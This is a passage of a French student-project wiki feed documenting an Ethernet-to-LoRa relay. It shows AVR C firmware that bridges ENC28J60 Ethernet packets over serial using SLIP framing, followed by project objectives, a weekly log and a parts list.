enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=38944</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=38944"/>
				<updated>2017-02-13T13:06:32Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
